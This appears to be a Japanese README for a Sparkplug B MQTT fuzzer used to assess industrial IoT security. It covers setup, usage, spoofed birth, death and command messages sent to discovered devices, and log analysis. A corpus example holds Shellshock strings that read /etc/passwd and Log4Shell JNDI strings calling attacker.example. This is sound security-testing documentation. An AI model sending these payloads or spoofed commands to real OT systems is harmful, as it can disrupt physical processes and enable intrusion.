
Sparkplug B IIoT プロトコル用ファザー
Sparkplug B MQTTプロトコル実装をテストするための包括的なセキュリティ評価ツールです。このファザーは、全9つのメッセージタイプにわたるすべてのプロトコルフィールドを体系的にテストし、ネットワーク上の稼働中のデバイスを発見し、詳細なログを分析用に生成します。
このツールは、ターゲットブローカーに対して、不正な形式、インジェクション、プロトコル違反のMQTTメッセージを送信します。所有しているシステム、または明示的な書面によるテスト許可を得ているシステムに対してのみ実行してください。 Sparkplug Bブローカーは通常、OT/ICS環境に設置されており、予期しないペイロードが物理プロセスを混乱させる可能性があります。明らかにそうでないと証明されない限り、すべてのターゲットは本番環境に隣接していると想定してください。
このツールを使用してSparkplug B実装に脆弱性を発見した場合は、影響を受けるベンダーと協調的な開示を行ってください。このツール自体のセキュリティ問題を報告するには、SECURITY.mdを参照してください。
Sparkplug B仕様は、産業用IoT(IIoT)環境向けにMQTTとGoogle Protocol Buffers上に構築されたトピック名前空間とペイロード形式を定義しています。このファザーは、以下の方法でSparkplug B実装のセキュリティと堅牢性を評価します。
最近のDebian/Ubuntu/Kali(PEP-668システム)では、--setupを使用してシステムPythonにpip installすることはできません。最初に仮想環境またはpipxを使用してください。推奨パス:```bash
python3 -m venv .venv
source .venv/bin/activate
python3 sparkplug-fuzzer.py --setup
または、自分でvenvを管理したくない場合は、`pipx run` で実行してください。PEP-668の強制がない古いシステムでは、単純に `python3 sparkplug-fuzzer.py --setup` が直接動作します。
`--setup` は以下の処理を行います:
1. pip依存関係をインストールします (`paho-mqtt`, `protobuf`)
2. 特定のタグで固定された [Eclipse Tahu](https://github.com/eclipse/tahu) リポジトリをクローンします(スクリプト内の `TAHU_REF` を参照)
3. ヘルパーモジュール `sparkplug_b.py` と `array_packer.py` をコピーします
4. `sparkplug_b.proto` をPythonバインディングにコンパイルします(利用可能な場合は `protoc` を使用し、それ以外は `grpcio-tools` にフォールバック)
5. Tahuのクローンをクリーンアップします
セットアップ後、ディレクトリには次のものが含まれているはずです:```
sparkplug-fuzzer.py # The fuzzer
sparkplug_b.py # Sparkplug B helper module (from Tahu)
array_packer.py # Array packing helper (from Tahu)
sparkplug_b_pb2.py # Generated protobuf bindings
requirements.txt # Python dependencies
python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer
これは以下のことを行います:
1. `localhost:1883` のブローカーに接続
2. 10秒間待機して既存のSparkplugデバイスを検出
3. ファザーをSparkplugノード/デバイスとして確立
4. 12のファズカテゴリ(約635以上のテストケース)を実行
5. 発見されたデバイスをスプーフィングされたメッセージで標的に
6. 結果を `sparkplug_fuzz.jsonl` に書き込み
## 使用方法
### コマンドラインオプション```
python3 sparkplug-fuzzer.py [OPTIONS]
すべてのカテゴリを認証付きで実行:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v
**`ps`内で認証情報を露出させずに渡す:**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local
# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -
TLS経由で接続:```bash
python3 sparkplug-fuzzer.py -H broker.example.com --tls -v
python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v
**パッシブ認証評価 + アクティブ書き込みプローブ:**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v
インジェクション関連のカテゴリのみを実行:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed
**低速ペーシングによる拡張ディスカバリー(ブローカ負荷最小化):**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5
カスタムグループ/ノードのIDとログファイル:```bash
python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv
**別のターミナルでブローカのトラフィックを監視:**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'
エアギャップ環境のセットアップ(事前にクローンされたTahuリポジトリを使用):```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box
python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu
**実行ごとの出力レイアウト:**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl
# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2
組み込みの STRING_FUZZ_VALUES は、古典的なインジェクションカテゴリ(空/巨大文字列、ヌルバイト、フォーマット文字列、XSS、SQLi、パストラバーサル、プロトタイプ汚染)をカバーしています。実際のエンゲージメントでは、ブローカーのデータをダウンストリームで消費するもの(シェルを介してメトリック名をパイプ処理するヒストリアン、値をlog4jに送り込むJavaベースのSCADAホスト、タグ名をHTMLでレンダリングするダッシュボードなど)を狙ったセカンドオーダーペイロードが必要になることがよくあります。
--extra-string-payloads <FILE> フラグは、組み込みに追加のコーパスを追加します。フォーマットは1行1ペイロード、UTF-8です。空白のみの行は保持され(ファズでは意図的なことが多い)、完全に空の行は削除されます。このフラグは組み込みリストを置き換えるのではなく追加するため、既存のカバレッジは維持されます。```bash
cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF
python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v
ファザーは起動時に `[+] Extra string payloads: loaded N from <path>` を出力し、各ペイロードは `STRING_FUZZ_VALUES` を反復するすべての場所(主に `string` カテゴリ、ただし型不一致ジェネレータの文字列型ケースも含む)を通じて送出されます。
ハード制限: ファイルサイズ10 MB、ペイロード数10,000。もっと必要で(実行時間の予算が合うなら)、スクリプト先頭の `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT` を調整してください。
## v0.2 リリースノート
- `--output-dir` フラグと自動生成されるデフォルト `./sparkplug-runs/<UTC-ts>_<host>/` — 各実行は独自のディレクトリに配置されるため、成果物が実行間で衝突しません。
- `--setup` 用の `--tahu-path` フラグ — 外部への `git clone` がブロックされているエアギャップテスト環境向けに、`eclipse/tahu` のローカルクローンを指定します。ローカルソースはクリーンアップ時に削除されません。
- コンソールおよび JSONL のタイムスタンプは強制的に UTC とし、明示的な `Z` サフィックスを付与することで、ブローカーログとの相互相関がタイムゾーン計算不要になります。
- `paho.mqtt` ロガーはデフォルトで WARNING に抑制。`-v` で INFO、`-vv` で DEBUG で表示されます。パケットごとのクライアントテレメトリがファズ信号を埋もれさせなくなりました。
- `tests/` 下の pytest テストハーネス — FuzzLogger、トピックヘルパー、出力パス解決、`--tahu-path` 検証をカバーする23のテスト。[テストの実行](#running-the-tests) を参照。
## テストの実行
テストハーネスはネットワークに依存しない表面(ロガーの正確性、トピックビルダー、出力パス解決、`--tahu-path` 解析)をカバーし、ブローカー、paho-mqtt、protobuf がインストールされていなくても実行できます。```bash
pip install -r requirements-dev.txt
pytest tests/
期待される: 23 passed。ネットワーク依存のパス(PayloadBuilder protobuf、fuzz publishers、MQTT lifecycle)は、コンテナ化されたブローカーを用いた将来の統合テスト層に意図的に延期されています。
### Network Discovery
発見フェーズでは、ファザーは`spBv1.0/#`にサブスクライブし、すべてのSparkplugトラフィックをリッスンします。`DeviceTracker`コンポーネントは、観測されたメッセージを解析してライブネットワークマップを構築します:
- **NBIRTH** メッセージはエッジノードとそのメトリック定義(名前、エイリアス、データ型)を明らかにします。
- **DBIRTH** メッセージはデバイスとそのメトリックスキーマを明らかにします。
- **NDEATH/DDEATH** メッセージはノード/デバイスのライフサイクル状態を追跡します。
- **STATE** メッセージはホストアプリケーションとそのオンライン/オフラインステータスを明らかにします。
このマップは、ターゲットファジングフェーズで使用され、実際のメトリックスキーマを持つ実際のデバイスに対してコンテキストに関連した攻撃を送信します。
### Authentication Assessment
ファザーが`-u/-P`なしで接続し(かつ`MQTT_USERNAME`/`MQTT_PASSWORD`が設定されていない場合)、パッシブディスカバリのみからブローカーの認証状態を推定します。これにより、ログに1つの`AUTH_ASSESSMENT`イベントが生成され、以下の要約が出力されます:
| Signal | 意味 | 導出方法 |
|---|---|---|
| `anon_connect_accepted` | ブローカーが認証情報なしでCONNECTを受け入れた | ファザー自身のCONNECTが成功 |
| `anon_subscribe_accepted` | ブローカーが匿名クライアントに`spBv1.0/#` / `STATE/#`を転送する | リスンウィンドウ中に少なくとも1つのRXメッセージが到着 |
| `anon_publish_accepted` | ブローカーが匿名クライアントからのPUBLISHを受け入れる | `--probe-anon-write`が渡された場合のみ設定; QoS=1プローブ + PUBACK待機 |
| `unauth_endpoints` | 認証なしで観測可能なノード/デバイス/ホストアプリケーション | 発見されたネットワークマップ内のすべてのエンティティ(認証は生成されなかった) |
QoS=1プローブはオプトインです。なぜなら、パッシブからアクティブに移行するからです。QoS=0では、ブローカーは拒否するメッセージを黙ってドロップするため、書き込み受け入れを確認するにはPUBACKを読み取る必要があります。
MQTT/Sparkplugにはエンドポイントごとの認証はありません。認証はブローカーレベルの問題です。したがって、「認証なしで観測可能なエンドポイント」は、エンドポイント自体のプロパティとしてではなく、*コストゼロで到達可能なターゲット*のリストとして報告されます。
### Targeted Fuzzing
体系的なファジングの後、ツールは発見された各デバイスを次の方法でターゲットにします:
1. **偽装された死亡通知** — NDEATH/DDEATHを公開し、サブスクライバーにデバイスがオフラインになったと思わせる
2. **偽装された誕生証明書** — NBIRTH/DBIRTHを公開し、発見されたノード/デバイスになりすます
3. **コマンドインジェクション** — 既知の各メトリックに対して境界値を持つNCMD/DCMDメッセージを送信し、ターゲットが受信コマンドを検証するかテストする
4. **再誕生コマンド** — `Node Control/Rebirth` NCMDを送信し、デバイスに誕生メッセージを再公開させる
## Output and Log Analysis
### Log Format
ログファイルはJSON-lines形式(`.jsonl`)を使用します — 1行に1つのJSONオブジェクトで、`jq`、Python、その他のJSON対応ツールでの分析に適しています。
64 KiBを超えるペイロードは16進数インライン化されません。代わりに`payload_hex`は`sha256:<digest>+len=<n>`を保持するため、非常に大きなファズケースでもログは制限されたままです。`payload_len`は常に存在します。
**TXレコード**(送信ファズメッセージ):```json
{
"ts": "2026-04-10T15:30:00.123456Z",
"dir": "TX",
"case_id": "BOUNDARY-0042",
"category": "boundary",
"topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
"payload_hex": "0800120a0a06...",
"payload_len": 28,
"payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
"description": "Boundary Int32 = 2147483647 (int_value)"
}
RX record (ネットワークからの受信メッセージ):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }
**イベントレコード** (システムイベント):```json
{
"ts": "2026-04-10T15:29:50.000000Z",
"dir": "EVENT",
"event": "DISCOVERY_COMPLETE",
"details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
}
カテゴリ別のケース数をカウント:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn
**すべての文字列インジェクションケースを抽出する:**```bash
jq 'select(.category == "string")' sparkplug_fuzz.jsonl
発見された全デバイスを一覧表示:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl
**ブローカー切断を引き起こしたケースを見つける:**```bash
jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl
認証評価をプルする:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl
**認証なしで到達可能なエンドポイントを一覧表示:**```bash
jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl
時間経過に伴うTX数の取得(レート分析用):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c
**公開されたすべてのトピックをエクスポート先:**```bash
jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u
Pythonで分析する:```python import json
with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]
tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]
print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")
errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")
## プロトコルカバレッジ
### メッセージタイプ
全9種類のSparkplug Bメッセージタイプがテストされています:
| メッセージタイプ | トピックパターン | 説明 | ファザーの使用目的 |
|---|---|---|---|
| NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | ノード誕生証明書 | ファザーの存在を確立;発見されたノードに対して偽装;順序テスト |
| NDEATH | `spBv1.0/{group}/NDEATH/{node}` | ノード死亡通知 | MQTT遺言;発見されたノードに対して偽装;順序テスト |
| DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | デバイス誕生証明書 | ファザーのデバイスを確立;発見されたデバイスに対して偽装;順序テスト |
| DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | デバイス死亡通知 | 発見されたデバイスに対して偽装;順序テスト;孤立テスト |
| NDATA | `spBv1.0/{group}/NDATA/{node}` | ノードデータ更新 | 境界値;シーケンス番号;順序テスト |
| DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | デバイスデータ更新 | ほとんどのファズカテゴリの主要な手段 |
| NCMD | `spBv1.0/{group}/NCMD/{node}` | ノードコマンド | 標的型ファジング(再誕コマンド);孤立テスト |
| DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | デバイスコマンド | 発見されたデバイスのメトリクスに対する標的型ファジング;孤立テスト |
| STATE | `STATE/{host_id}` | ホストアプリケーション状態(JSON) | 不正なJSONインジェクション |
### データタイプ
全19種類のSparkplug Bメトリックデータタイプがタイプ固有の境界値でテストされています:
| コード | タイプ | Protobufフィールド | テストされた境界値 |
|------|------|---------------|----------------------|
| 1 | Int8 | int_value | 0, -128, 127, 128(オーバーフロー), -129(アンダーフロー) |
| 2 | Int16 | int_value | 0, -32768, 32767, オーバーフロー/アンダーフロー |
| 3 | Int32 | int_value | 0, -2^31, 2^31-1, オーバーフロー/アンダーフロー |
| 4 | Int64 | long_value | 0, -2^63, 2^63-1, オーバーフロー |
| 5 | UInt8 | int_value | 0, 255, 256, -1 |
| 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
| 7 | UInt32 | int_value | 0, 4294967295, -1 |
| 8 | UInt64 | long_value | 0, 2^64-1, -1 |
| 9 | Float | float_value | 0.0, -0.0, 最大値, 最小値, inf, -inf, NaN |
| 10 | Double | double_value | 0.0, -0.0, 最大値, 最小値, inf, -inf, NaN |
| 11 | Boolean | boolean_value | True, False;さらに生の整数値(0, 1, 2, 255)でもテスト |
| 12 | String | string_value | 空文字、長文(最大64KB)、インジェクションペイロード |
| 13 | DateTime | long_value | エポック、最大値、遠い未来/過去 |
| 14 | Text | string_value | Stringと同じインジェクションペイロード |
| 15 | UUID | string_value | 空文字、有効、無効な形式、インジェクション |
| 16 | DataSet | dataset_value | データセットカテゴリによる構造違反 |
| 17 | Bytes | bytes_value | 空、ヌルバイト、ランダム、大規模 |
| 18 | File | bytes_value | 空、マジックバイト、大規模 |
| 19 | Template | template_value | 未定義の参照、孤立テンプレート |
### フィールドカバレッジ
ファザーは87以上のユニークなProtobufフィールドパスをカバーしています:
- **ペイロードルートフィールド**: timestamp, seq, uuid, body, metrics
- **メトリックフィールド**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties、およびすべてのvalue oneofバリアント
- **メタデータフィールド**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
- **PropertySet/PropertyValue**: keys, values, type, is_null, recursive propertyset_value, propertysets_value
- **DataSet**: num_of_columns, columns, types, rows, elements、すべてのDataSetValueバリアント
- **Template**: version, template_ref, is_definition, nested metrics, parameters
## アーキテクチャ
ファザーは単一のPythonファイルで構成され、以下のコンポーネントに整理されています:```
sparkplug-fuzzer.py
|
+-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
| Type definitions and fuzz value tables
|
+-- FuzzLogger
| JSON-lines file logging + console output
| Protobuf payload decoding
|
+-- DeviceTracker
| Passive network discovery
| Tracks groups, nodes, devices, metrics
|
+-- PayloadBuilder
| Valid payload construction (sparkplug_b helpers)
| Raw payload construction (sparkplug_b_pb2 direct)
| Binary corruption (truncate, flip, append)
|
+-- 12 Fuzz Generators
| Each is a Python generator yielding (topic, bytes, desc)
| Covers boundary, string, type, seq, timestamp, alias,
| orphan, ordering, recursive, dataset, malformed, topic
|
+-- SparkplugFuzzer
| Orchestration: connect, discover, fuzz, target, report
| Centralized publish with logging
| Auto-reconnect on disconnect
|
+-- CLI (argparse) + main()
Argument parsing and entry point
2層のペイロード構成は、主要な設計上の判断です。
PayloadBuilder.node_birth() など)は sparkplug_b ヘルパー関数を使用し、有効で整形されたペイロードを構築します。プレゼンスの確立と標的を絞ったスプーフィングに使用されます。PayloadBuilder.raw_payload()、corrupt_bytes())は sparkplug_b_pb2 protobuf オブジェクトまたは生のバイトを直接操作し、検証をバイパスします。パーサーのエラーハンドリングとエッジケースをテストするための、意図的に不正なペイロードに使用されます。このプロジェクトはMITライセンスの下でライセンスされています。全文についてはLICENSEを参照してください。
sparkplug-fuzzer.py --setup は、インストール時に Eclipse Tahu から以下のコンポーネントを取得し、作業ディレクトリにコピーします。
sparkplug_b.py — Sparkplug B ヘルパーモジュールarray_packer.py — 配列パッキングヘルパーsparkplug_b.proto — Protocol Buffer 定義(sparkplug_b_pb2.py の生成に使用)Eclipse Tahu は Apache License, Version 2.0 の下で配布されています。Tahu のソースファイルはこのリポジトリには再配布されていません。完全な帰属表示については NOTICE を参照してください。
| Option | Default | Description |
|---|
-H, --host | localhost | MQTTブローカーのホスト名またはIP |
-p, --port | 1883(--tls 付きの場合は 8883) | MQTTブローカーのポート |
-u, --username | なし | MQTTユーザー名(MQTT_USERNAME 環境変数も読み取ります) |
-P, --password | なし | MQTTパスワード(MQTT_PASSWORD も読み取ります。- を指定するとエコーなしで標準入力から読み取ります) |
--tls | off | TLSで接続します。-p が未設定の場合、デフォルトポートは 8883 になります |
--cafile | なし | TLSサーバー証明書検証用のCAバンドル |
--insecure | off | TLSホスト名/証明書の検証をスキップします(テストのみ) |
-g, --group | Sparkplug B Devices | ファザーが登録するSparkplugグループID |
-n, --node | FuzzNode | ファザー用のSparkplugエッジノードID |
-d, --device | FuzzDevice | ファザー用のSparkplugデバイスID |
-c, --categories | all | 実行するファズカテゴリのスペース区切りリスト |
--discovery-time | 10 | ネットワーク検出をパッシブに待機する秒数 |
--delay | 0.1 | ファズメッセージ間の遅延(秒) |
--probe-anon-write | off | 検出中にQoS=1のパブリッシュを1つ送信し、ブローカーが認証なしのPUBLISHを受け入れるか確認します |
-l, --log | sparkplug_fuzz.jsonl | 出力ログファイル名(相対パスは --output-dir 内に配置。絶対パスはそのまま使用) |
--output-dir | ./sparkplug-runs/<UTC-ts>_<host>/ | 実行ごとの出力ディレクトリ。存在しない場合は作成されます |
-v, --verbose | 0 | コンソールの詳細度を増加(-v = info、-vv = debug)。-vv はファズジェネレーターのスキップも表示し、スロットリングされた paho.mqtt ロガーが詳細度に応じてINFO/DEBUGに昇格します |
--setup | — | すべての依存関係をインストールして終了 |
--tahu-path | — | eclipse/tahu(またはその python/core ディレクトリ)のローカルクローンへのパス。--setup でエアギャップ環境で git clone の代わりに使用します |
--extra-string-payloads | — | 追加の文字列インジェクションペイロードファイルへのパス(1行1ペイロード、UTF-8)。組み込みの STRING_FUZZ_VALUES に追加されます(置き換えません)。最大10 MB / 10,000ペイロード。カスタム文字列コーパスを参照 |
| Category | Description | Approx. Cases |
|---|
boundary | 全19の数値データ型の最小/最大/オーバーフロー、値付きis_null、フラグの組み合わせ | ~200 |
string | String、Text、UUID、MetaDataフィールド、STATEメッセージ全体でのインジェクションペイロード(XSS、SQLi、フォーマット文字列、パストラバーサル、コマンドインジェクション、nullバイト) | ~100 |
type_mismatch | 宣言されたデータ型と間違ったprotobuf値フィールド、無効なデータ型コード、複数のoneofフィールド | ~150 |
sequence | シーケンスの欠落、重複、逆順、巻き戻し、NBIRTH/NDEATH間のbdSeqの不一致 | ~20 |
timestamp | ゼロ、最大uint64、遠い未来/過去、メトリックとペイロードタイムスタンプの不一致、DateTimeの極端な値 | ~15 |
alias | 異なるメトリックに対するエイリアスの重複、極端なエイリアス値、データメッセージ内の未定義エイリアス | ~15 |
orphan | 存在しないデバイス、ノード、グループをターゲットにしたデータ/コマンド、未定義のテンプレート参照 | ~20 |
ordering | プロトコル状態違反:Birth前のデータ、二重Birth、Death後のデータ、間違ったBirth順序 | ~15 |
recursive | ネストされたPropertySetチェーン(深さ1-100)、キー/値の長さの不一致、PropertySetListのバリエーション | ~15 |
dataset | カラム数の不一致、行要素の不一致、型違反、空/巨大なデータセット、カラム名の特殊文字 | ~25 |
malformed | バイナリprotobufの破損:切り詰め、ビット反転、ランダムバイト、過長なvarint、間違ったメッセージクラス | ~30 |
topic | 大文字小文字のバリエーション、間違ったバージョン、余分/欠落したスラッシュ、特殊文字、トピック文字列のワイルドカード | ~30 |